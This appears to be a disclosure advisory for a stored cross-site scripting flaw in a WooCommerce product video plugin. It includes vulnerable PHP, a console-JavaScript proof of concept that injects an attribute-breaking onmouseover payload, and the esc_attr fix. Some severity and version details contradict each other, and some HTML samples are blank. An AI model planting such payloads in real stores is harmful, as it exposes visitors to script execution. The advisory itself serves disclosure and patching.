## https://sploitus.com/exploit?id=741140EB-5F53-53CF-8242-05AAFE34F6A1
# CVE-2026-10104: Stored Cross-Site Scripting in Product Video Gallery for WooCommerce
## Summary
| Detail | Value |
|--------|-------|
| **CVE ID** | CVE-2026-10104 |
| **Plugin** | [Product Video Gallery for WooCommerce](https://wordpress.org/plugins/product-video-gallery-slider-for-woocommerce/) |
| **Vendor** | TechnoSoft Webs (NikHiL Gadhiya) |
| **Type** | Stored Cross-Site Scripting (XSS) |
| **CWE** | [CWE-79](https://cwe.mitre.org/data/definitions/79.html) โ Improper Neutralization of Input During Web Page Generation |
| **CVSS 3.1** | 4.4 (Medium) |
| **Affected Versions** | โค 1.5.1.6 |
| **Fixed Version** | 1.5.1.9 |
| **Requires Authentication** | Yes โ Contributor+ (any role that can edit products) |
| **Discovered by** | Ravindu Lakmina Munaweera |
---
## Description
The **Product Video Gallery for WooCommerce** plugin for WordPress (versions up to and including **1.5.1.6**) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `custom_thumbnail` product meta parameter.
The plugin's `save_wc_video_url_field()` method sanitizes the `custom_thumbnail[]` POST parameter using `sanitize_text_field()`, which strips HTML tags but **does not strip double-quote (`"`) characters**. On the frontend, the stored value is inserted directly into an `` tag's attributes in `nickx_get_video_thumbanil_html()` without `esc_attr()` escaping. This allows an authenticated attacker to inject arbitrary HTML event handler attributes (e.g., `onmouseover`, `onerror`) that execute JavaScript in the browser of **any visitor** โ including unauthenticated users โ who views the affected product page.
---
## CVSS 3.1 Vector
```
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
```
| Metric | Value |
|--------|-------|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low |
| User Interaction | None |
| Scope | Changed |
| Confidentiality Impact | Low |
| Integrity Impact | Low |
| Availability Impact | None |
---
## Affected Code
### Sink (Output โ No Escaping)
**File:** `public/class-rendering.php`
**Method:** `nickx_get_video_thumbanil_html()`
```php
// Line 365 โ value inserted without esc_attr()
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
: '';
// Line 379 โ rendered inside tag on the public frontend
echo '';
```
### Source (Save โ Insufficient Sanitization)
**File:** `admin/class-video-field.php`
**Method:** `save_wc_video_url_field()`
```php
// Line 309-310 โ sanitize_text_field() strips tags but NOT double quotes
if ( isset( $_POST['custom_thumbnail'] ) ) {
update_post_meta( $post_id, '_custom_thumbnail',
array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}
```
---
## Proof of Concept
### Prerequisites
- WordPress with WooCommerce installed
- Plugin: Product Video Gallery for WooCommerce โค 1.5.1.6
- A WooCommerce product with a YouTube video URL configured
- An account with product editing privileges (Shop Manager, Author, etc.)
### Steps to Reproduce
1. Log in as a **Shop Manager** (attacker).
2. Navigate to **Products โ Edit** any product with a video URL set in the "Product Video Url" field.
3. Open **browser Developer Tools** (`F12`) โ **Console** tab.
4. Paste and execute the following JavaScript:
```javascript
const form = document.getElementById('post');
// Set thumbnail ID to a non-empty value (required by render condition)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }
// Inject XSS payload via custom_thumbnail
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
```
5. Click **"Update"** to save the product.
6. Open the product page on the frontend in an **incognito/private window** (unauthenticated).
7. **Hover** over the video thumbnail in the product gallery.
8. โ JavaScript alert executes, confirming Stored XSS.
### Rendered Output
```html
```
The injected `"` closes the `custom_thumbnail` attribute, and `onmouseover` becomes a new executable attribute on the `` element.
---
## Impact
- **Stored XSS** executes on the **public frontend** for all visitors, including unauthenticated users
- Attackers can steal session cookies and hijack admin accounts
- Attackers can redirect customers to phishing or malware distribution sites
- Attackers can deface product pages or inject cryptominers
- Requires only **Contributor-level** access to exploit
---
## Remediation
Apply `esc_attr()` to the custom thumbnail value before inserting it into the HTML attribute:
```diff
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
- ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
- : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
+ ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"'
+ : '';
```
This same fix should be applied to all instances in `nickx_get_video_thumbanil_html()` where `$custom_thumbnail` is constructed (both the array and non-array code paths).
---
## Disclosure Timeline
| Date | Event |
|------|-------|
| 2026-03-20 | Vulnerability discovered |
| 2026-03-20 | Reported to Wordfence (CNA) |
| 2026-05-29 | CVE ID assigned: CVE-2026-10104 |
| 2026-07-01 | Public disclosure |
---
## Credits
- **Discovered by:** Ravindu Lakmina Munaweera
- **CVE assigned by:** [Wordfence](https://www.wordfence.com/) (CNA)
- [CVE ORG](https://vulners.com/cve/CVE-2026-10104)
---
## References
- [CVE-2026-10104](https://vulners.com/cve/CVE-2026-10104)
- [WordPress Plugin Page](https://wordpress.org/plugins/product-video-gallery-slider-for-woocommerce/)
- [Wordfence Vulnerability Database Entry](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/product-video-gallery-slider-for-woocommerce/product-video-gallery-for-woocommerce-1518-authenticated-shop-manager-stored-cross-site-scripting-via-custom-thumbnail-parameter)
- [CWE-79: Cross-site Scripting](https://cwe.mitre.org/data/definitions/79.html)
- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Scripting_Prevention_Cheat_Sheet.html)
---
## License
This advisory is released under [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/).